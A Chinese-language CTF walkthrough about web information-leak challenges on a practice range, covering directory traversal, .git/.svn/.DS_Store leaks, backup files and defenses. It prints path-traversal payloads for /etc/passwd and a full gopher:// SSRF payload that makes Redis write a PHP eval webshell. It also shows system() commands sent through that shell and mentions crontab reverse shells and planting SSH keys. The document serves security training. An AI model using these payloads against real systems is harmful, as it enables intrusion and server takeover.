CTFHub Web信息泄露靶场实战:从目录遍历到Git泄露的攻防演练 1. 项目概述为什么信息泄露是Web安全的“第一课”如果你刚开始接触CTFCapture The Flag竞赛或者想系统学习Web安全那么“信息泄露”这个主题绝对是你的最佳起点。它不像SQL注入或XSS那样需要复杂的构造也不像RCE远程命令执行那样令人望而生畏。信息泄露更像是一场“寻宝游戏”考验的是你的细心、耐心和对Web应用架构的基本理解。CTFHub的Web信息泄露靶场正是为新手量身打造的绝佳训练场。它从最基础的目录遍历开始逐步深入到Git泄露、SVN泄露等更隐蔽的漏洞几乎涵盖了实战中会遇到的所有常见信息泄露场景。这个靶场解决的核心问题是帮助我们建立“敏感信息无处不在”的安全意识。一个看似正常的网站其后台可能因为开发人员的疏忽遗留了源代码、配置文件、备份文件甚至版本控制系统的痕迹。攻击者无需高深的技术仅仅通过浏览器或简单的命令行工具就能像翻阅一本打开的书一样获取到网站的数据库密码、API密钥、后台管理地址等致命信息。通关这个靶场你不仅能学会如何发现这些“藏起来的宝藏”更能深刻理解在开发中如何避免犯下同样的错误这正是“攻防一体”思维的起点。2. 靶场环境准备与核心思路解析2.1 环境搭建与工具选择CTFHub的靶场通常以在线挑战的形式提供你只需要一个浏览器即可开始。但对于想深入学习和复现的选手我强烈建议在本地搭建一个可控的测试环境。你可以使用Docker快速拉取一个包含常见漏洞的Web靶场镜像或者直接使用像DVWA、Web for Pentester这类集成环境。本地环境的优势在于你可以随意查看服务端日志、修改配置、甚至调试代码这对理解漏洞原理至关重要。工欲善其事必先利其器。对于信息泄露类题目以下几款工具是你的“瑞士军刀”浏览器开发者工具F12这是你的第一道防线。主要用于查看网页源代码、网络请求Network标签页和响应头信息。很多flag就藏在注释、JS文件或特殊的HTTP头里。Dirsearch / Gobuster / ffuf这些是目录爆破工具。当目标没有明显的入口时它们通过加载一个庞大的字典如common.txt,directory-list-2.3-medium.txt暴力猜测服务器上可能存在的隐藏目录和文件。Dirsearch用Python编写简单易用Gobuster和ffuf用Go编写速度极快。GitHack / GitTools专门用于利用.git文件夹泄露的工具。如果发现目标存在/.git/目录这些工具可以帮你完整地重建项目的源代码仓库包括历史提交记录里面很可能包含被删除的敏感信息或flag。Burp Suite / OWASP ZAP专业的Web漏洞扫描器和代理工具。它们的爬虫功能能更系统地遍历网站结构而重放Repeater和入侵Intruder模块能帮你自动化测试和模糊测试。注意在使用爆破工具时务必控制扫描速率避免对目标服务器造成拒绝服务DoS攻击。在CTF比赛中这可能导致被封IP在真实授权测试中则是严重违规行为。2.2 通用解题思路由外及内层层递进面对一个信息泄露类题目不要像无头苍蝇一样乱试。遵循一个清晰的流程可以极大提高效率信息收集首先用浏览器正常访问目标查看每一个页面。右键查看源代码搜索flag,key,password,admin等关键词。同时打开开发者工具的Network面板刷新页面观察所有加载的资源和对应的HTTP响应头特别注意404和403状态的请求它们有时会泄露路径信息。目录与文件枚举如果第一步没有收获启动目录爆破工具。使用一个全面的字典重点扫描像/admin/,/backup/,/config/,/uploads/,/tmp/等常见敏感目录以及robots.txt,.git/,.svn/,.DS_Store,index.php.bak,config.php.bak等常见敏感文件。内容分析对于发现的每一个可疑文件或目录都要仔细查看其内容。配置文件.env,config.inc.php里可能有数据库凭证备份文件.bak,.swp,.old里可能有老版本的源代码其中包含已被修复但未删除的硬编码密码日志文件access.log,error.log可能记录了一些敏感操作。版本控制泄露利用如果发现.git,.svn或.hg目录不要犹豫立刻使用专用工具进行克隆或下载。检查所有分支、所有历史提交diff不同版本间的代码变化往往flag就藏在某次被“回滚”或“删除”的提交里。组合与推理有时单条信息不足以直接拿到flag。可能需要将数据库密码从配置文件中获得连接到数据库从源码或注释中找到地址进行查询或者将找到的某个后台路径与之前信息收集时发现的弱口令进行组合登录。3. 核心漏洞类型实战详解3.1 目录遍历与敏感文件下载这是最经典的信息泄露漏洞。其根源在于Web应用程序直接使用了用户可控的输入如文件名参数来构造服务器文件路径且未进行任何过滤或校验。漏洞原理假设一个网站提供文件下载功能URL形如/download.php?filereport.pdf。后端代码可能简单地拼接参数$file_path /var/www/html/files/ . $_GET[file];。如果攻击者将参数改为../../../../etc/passwd拼接后的路径就可能跳出Web根目录访问到服务器上的任意文件如系统密码文件/etc/passwd。CTFHub实战题目特征题目描述或页面提示中可能含有“下载”、“查看”、“file”、“filename”、“path”等关键词。测试Payload基础遍历?file../../../../etc/passwd编码绕过?file..%2f..%2f..%2f..%2fetc%2fpasswd(URL编码)空字节截断针对旧版本PHP?file../../../etc/passwd%00绝对路径测试?file/etc/passwd常见敏感文件列表文件路径可能包含的敏感信息/etc/passwd系统用户列表低版本Linux可读哈希/etc/shadow用户密码哈希需root权限/proc/self/environ当前进程环境变量可能包含数据库密码/var/www/html/config.phpWeb应用配置文件/var/log/apache2/access.logWeb访问日志可能记录管理后台URLC:\Windows\System32\drivers\etc\hostsWindows主机文件实操心得遇到目录遍历不要只满足于读到/etc/passwd。要思考“这个Web应用本身的配置文件在哪”通常路径类似于/var/www/html/[appname]/config.inc.php。尝试遍历读取它往往能直接拿到数据库连接密码甚至是flag本身。3.2 Git源码泄露与利用这是开发环境配置不当的典型后果。当开发人员将代码目录包含.git文件夹直接部署到生产服务器时就造成了Git泄露。.git目录是Git版本控制系统的元数据存储区里面包含了几乎所有的代码变更历史。漏洞原理.git目录下有几个关键文件/目录index暂存区信息。HEAD指向当前所在的分支。objects/存储所有Git对象提交、树、文件内容的核心目录文件以SHA-1哈希值命名。logs/记录所有引用变更的历史。config仓库配置信息。通过分析这些文件我们可以重建整个代码仓库。CTFHub实战与工具使用发现泄露使用目录扫描工具发现/.git/目录存在并且访问/.git/HEAD能正常返回ref: refs/heads/master等内容即可确认。使用GitHack自动化利用# 克隆GitHack工具 git clone https://github.com/lijiejie/GitHack.git cd GitHack # 运行工具指定目标URL python GitHack.py http://target.com/.git/工具会自动下载.git文件夹并解析将历史版本中的源代码恢复到当前目录。你只需要在恢复的源码中搜索flag、key等关键词即可。手动利用深入理解 如果自动化工具失效可以尝试手动分析这能帮你更深入理解Git原理访问/.git/HEAD获取当前分支指向如ref: refs/heads/master。访问/.git/refs/heads/master获取该分支最新提交的SHA-1值如a1b2c3d...。Git对象存储在objects/目录下路径由SHA-1值的前两位作为目录名后38位作为文件名。例如SHA-1为a1b2c3d...的对象其路径为/.git/objects/a1/b2c3d...。下载该对象文件使用git cat-file -p a1b2c3d命令需在本地Git环境中可以查看其内容。如果是commit对象里面会包含树tree对象的SHA-1值。继续用同样方法查看tree对象它列出了该次提交包含的所有文件和子目录及其对应的blob文件内容或tree对象的SHA-1。最终找到存储flag文件的blob对象查看其内容。一个真实案例在一次内部测试中我们通过.git泄露拿到了源代码在历史提交记录里发现了一个名为flag.txt的文件被删除。通过git checkout命令检出那个历史提交成功获得了被“移除”的敏感信息。3.3 SVN、DS_Store及其他泄露除了Git其他版本控制系统或系统文件同样可能造成泄露。.svn/泄露Subversion版本控制系统的遗留目录。其entries或wc.db文件包含了工作副本的文件列表和内容。可以使用dvcs-ripper工具包中的rip-svn.pl进行利用。.DS_Store泄露这是macOS系统在文件夹中自动生成的隐藏文件用于存储文件夹的显示属性如图标位置、列表排序。它内部以二进制格式存储了该目录下的所有文件名。攻击者可以通过解析.DS_Store文件获悉服务器上隐藏的、未链接的目录和文件名称。有专门的Python脚本如ds_store_exp可以解析它。备份文件泄露开发者在修改文件前可能会将原文件备份为index.php.bak,index.php.swp(Vim编辑时的交换文件),index.php~等。这些文件可以直接被下载泄露源代码。robots.txt这个文件本意是指示搜索引擎爬虫哪些目录可以抓取哪些不可以Disallow。但安全人员经常反其道而行之去查看Disallow的目录因为这些目录往往是不希望被公众访问的管理后台、数据目录等是重点侦察目标。4. 靶场实战从入门到精通的全流程演练假设我们面对CTFHub的一个综合信息泄露靶场其入口URL是http://challenge.ctfhub.com:10080。4.1 第一阶段基础侦察与目录遍历手动浏览访问目标是一个简单的文档网站。查看页面源代码在注释中发现提示!-- 测试页面上传功能在 /upload.php --。访问/upload.php是一个文件上传界面。尝试上传一句话木马被拦截提示“只允许上传图片”。查看该页面源码无更多发现。目录爆破使用gobuster进行扫描。gobuster dir -u http://challenge.ctfhub.com:10080 -w /usr/share/wordlists/dirb/common.txt -x php,txt,bak,old扫描结果发现/admin/ (Status: 403) /backup/ (Status: 200) /upload.php (Status: 200) /index.php (Status: 200) /robots.txt (Status: 200)分析发现访问/robots.txt内容为User-agent: * Disallow: /admin/ Disallow: /backup/这证实了/admin/和/backup/是敏感目录。访问/admin/返回403禁止访问暂时无法进入。访问/backup/直接列出了目录索引发现一个文件source_code.tar.gz。利用目录遍历尝试下载/backup/source_code.tar.gz并解压。在解压后的源码config.php中发现数据库配置?php $db_host localhost; $db_user ctfhub_user; $db_pass s3cr3t_pssw0rd_2024; $db_name ctfhub_db; ?同时在admin/login.php的源码注释里发现提示// 默认管理员账号: admin, 密码见数据库。登录后台使用找到的密码s3cr3t_pssw0rd_2024尝试登录/admin/login.php成功进入后台。在后台的“系统信息”页面找到了第一个Flagflag{dir_traversal_is_easy}。4.2 第二阶段Git泄露与代码审计在后台的“版本管理”页面有一个不起眼的链接“查看历史版本”指向http://challenge.ctfhub.com:10080/.git/但直接访问显示403。确认Git泄露使用curl检查/.git/HEAD。curl -I http://challenge.ctfhub.com:10080/.git/HEAD返回200 OK且内容为ref: refs/heads/master确认存在泄露但目录列表被禁止。使用GitTools# 下载GitTools git clone https://github.com/internetwache/GitTools.git cd GitTools/Dumper # 使用dumper脚本下载.git目录 ./gitdumper.sh http://challenge.ctfhub.com:10080/.git/ /tmp/git_output cd /tmp/git_output # 使用extractor脚本解析并恢复源代码 ../../Extractor/extractor.sh . /tmp/restored_code审计历史代码进入/tmp/restored_code查看git日志。cd /tmp/restored_code git log --oneline发现一条可疑提交Revert remove flag from config。查看这次提交的详细内容git show commit-hash在diff信息中发现有一行被删除define(FLAG, flag{g1t_l3ak_1s_p0w3rful});。获取Flag直接检出这次提交之前的版本或者简单地从diff信息中提取得到第二个Flagflag{g1t_l3ak_1s_p0w3rful}。4.3 第三阶段组合利用与最终突破在恢复的源代码中还有一个文件api_test.php引起了注意其中有一段测试代码连接了一个内网地址的Redis服务$redis-connect(172.18.0.3, 6379);并且使用了弱口令password。思路转换目标Web服务器可能无法直接连接这个内网Redis。但我们在第一阶段拿到的是Web后台权限能否利用Web服务器作为跳板呢寻找SSRF点在后台仔细寻找发现一个“网站健康检查”功能可以输入一个URL让服务器去请求并返回状态码。这很可能是一个SSRF服务器端请求伪造漏洞。利用SSRF攻击内网Redis利用SSRF攻击Redis需要一定技巧。我们可以构造一个特殊的Payload让Web服务器向172.18.0.3:6379发送Redis命令。由于Redis协议是文本行协议我们可以通过CRLF注入来拼接命令。一个常见的利用方式是让Redis将数据保存在Web目录下形成Webshell。URL输入框填入 gopher://172.18.0.3:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$60%0d%0a%0a%0a%0a?php eval($_POST[cmd]);?%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$4%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0asave%0d%0a这是一个URL编码后的Gopher协议Payload用于向Redis发送设置数据库路径、文件名并保存PHP代码的命令。获取Webshell执行后访问http://challenge.ctfhub.com:10080/shell.php如果出现空白页说明可能写入成功。用POST方式传递参数cmdsystem(find / -name *flag* 2/dev/null);在返回结果中发现了路径/opt/secret_flag.txt。读取最终Flag再次使用POST请求cmdsystem(cat /opt/secret_flag.txt);成功获取最终Flagflag{comb1ne_sk1lls_t0_win}。5. 常见问题排查与防御心得5.1 实战中遇到的典型问题目录扫描无结果可能原因字典不匹配、目标有WAF拦截、扫描速率过快被屏蔽。解决尝试更换更全面的字典如SecLists中的Discovery/Web-Content目录下的字典降低扫描线程和延迟在Burp Suite的Intruder模块中手动添加常见路径进行测试观察响应差异。.git目录可访问但工具利用失败可能原因.git目录不完整可能被部分删除或者服务器配置了特殊的权限导致某些关键对象文件无法下载。解决尝试使用wget -r或curl递归下载整个.git目录然后手动使用git fsck和git checkout等命令尝试修复和恢复。有时只需要HEAD、objects/info/packs和pack文件就能恢复大部分内容。找到备份文件但内容乱码或无法下载可能原因文件是二进制格式如.swp或者服务器对文件后缀做了强制下载处理但内容被破坏。解决对于Vim的.swp文件可以在本地用Vim打开尝试恢复vim -r filename.swp。对于其他二进制文件使用file命令查看类型用strings命令提取可读字符串。SSRF利用Redis无回显可能原因Redis版本较高默认绑定本地或需要密码或者Gopher协议被禁用。解决尝试使用dict协议dict://172.18.0.3:6379/info先探测Redis信息和认证情况。如果无回显考虑写定时任务crontab反弹shell或者写SSH公钥到/root/.ssh/authorized_keys。5.2 从攻击者视角看防御通关靶场后我们更应该思考如何避免自己的项目出现这些问题。以下是一些核心的防御措施杜绝敏感信息硬编码密码、密钥、API Token等绝对不要写在源代码里。使用环境变量或专门的密钥管理服务如Vault。严格过滤用户输入对于文件路径、URL等参数进行严格的白名单校验。如果必须使用用户输入构造路径请使用编程语言提供的安全函数进行规范化如Python的os.path.normpath并确保最终路径被限制在预期的安全目录内。清理部署目录在将代码部署到生产环境前务必删除所有版本控制目录.git,.svn,.hg、IDE配置文件.idea,.vscode、系统临时文件.DS_Store,Thumbs.db以及所有的备份文件.bak,.swp,~。配置正确的Web服务器权限禁止提供目录列表功能在Nginx中关闭autoindex在Apache中关闭Indexes选项。为Web根目录以外的敏感文件如配置文件、日志文件设置严格的访问控制禁止通过Web直接访问。使用robots.txt要谨慎避免暴露隐藏的管理路径。实施最小权限原则运行Web服务的系统用户如www-data,nginx应仅拥有运行所必需的最小权限避免其能够读取系统关键文件。定期进行安全扫描使用静态应用安全测试SAST工具扫描代码中的硬编码密码和潜在的信息泄露路径。使用动态应用安全测试DAST工具或定期进行手动渗透测试模拟攻击者寻找泄露点。信息泄露漏洞看似简单却往往是导致大规模安全事件的起点。通过CTFHub这个靶场的系统练习你不仅能掌握发现这些漏洞的技巧更能从根本上建立起“开发安全”的意识。记住最好的防御是让攻击者无信息可泄。